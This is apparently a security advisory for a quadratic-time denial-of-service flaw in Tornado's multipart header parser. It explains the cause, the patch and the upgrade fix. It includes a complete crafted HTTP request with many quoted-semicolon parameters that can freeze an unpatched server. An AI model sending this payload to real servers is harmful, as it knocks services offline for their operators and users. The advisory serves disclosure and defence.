CVE-2025-67726: Tornado Quadratic DoS via Crafted Multipart Parameters
Sending a single HTTP multipart request with many parameters containing quoted semicolons can pin Tornado's CPU at 100% and freeze the entire server, because the header parser does redundant work that
The problem
The `_parseparam` function in `tornado/httputil.py` parses `Content-Disposition` and other header values for multipart requests. On every loop iteration it rescanned the full string from position 0 using `s.count('"', 0, end)` to count unescaped quotes, giving O(n²) time complexity.
Tornado runs on a single event loop, so one slow parse blocks all other connections. An unauthenticated attacker can trigger a sustained CPU spike and full server unresponsiveness with a single crafted request.
Proof of concept
A working proof-of-concept for CVE-2025-67726 in tornado, with the exact payload below.
POST /upload HTTP/1.1
Host: victim.example.com
Content-Type: multipart/form-data; boundary=X
--X
Content-Disposition: form-data; p0=";"; p1=";"; p2=";"; p3=";"; p4=";"; p5=";"; p6=";"; p7=";"; p8=";"; p9=";"; p10=";"; p11=";"; p12=";"; p13=";"; p14=";"; p15=";"; p16=";"; p17=";"; p18=";"; p19=";"; p20=";"; p21=";"; p22=";"; p23=";"; p24=";"; p25=";"; p26=";"; p27=";"; p28=";"; p29=";"; p30=";"; p31=";"; p32=";"; p33=";"; p34=";"; p35=";"; p36=";"; p37=";"; p38=";"; p39=";"; p40=";"; p41=";"; p42=";"; p43=";"; p44=";"; p45=";"; p46=";"; p47=";"; p48=";"; p49=";"
--X--The root cause is in the old `_parseparam` loop: for each semicolon found, it called `s.count('"', 0, end)` starting from index 0, so the cost of scanning quotes was proportional to the total string length processed so far. With n parameters each holding a quoted semicolon value like `p=";"`, total work is O(n²).
The patch (commit 771472c, adapting CPython PR 136072) replaces the from-zero rescan with an incremental counter. A variable `ind` tracks the last scanned position, and `diff` accumulates the quote count across segments, so each byte is visited at most once, reducing the whole parse to O(n).
This is CWE-834 (Excessive Iteration) / CWE-400 (Uncontrolled Resource Consumption). No public PoC script was published; the payload above is derived directly from the patch diff, which shows the triggering input is quoted semicolons (e.g., `param=";"`), repeated at scale.
The fix
Upgrade `tornado` to **6.5.3** or later (`pip install --upgrade tornado`). The patched `_parseparam` processes each character at most once, eliminating the quadratic blowup. No configuration workaround exists for earlier versions because the vulnerable code path is always reachable via any multipart upload endpoint.
Reported by Finder16.
Related research
- high · 7.5CVE-2025-67725CVE-2025-67725: Tornado HTTPHeaders Quadratic DoS via Repeated Header Coalescing
- high · 7.5CVE-2026-59200CVE-2026-59200: Pillow PdfParser Decompression Bomb DoS
- high · 7.5CVE-2026-50271CVE-2026-50271: ddtrace Uncontrolled Resource Consumption via W3C Baggage Header Parsing
- high · 7.5CVE-2026-49851CVE-2026-49851: mistune Quadratic-Time DoS in parse_link_text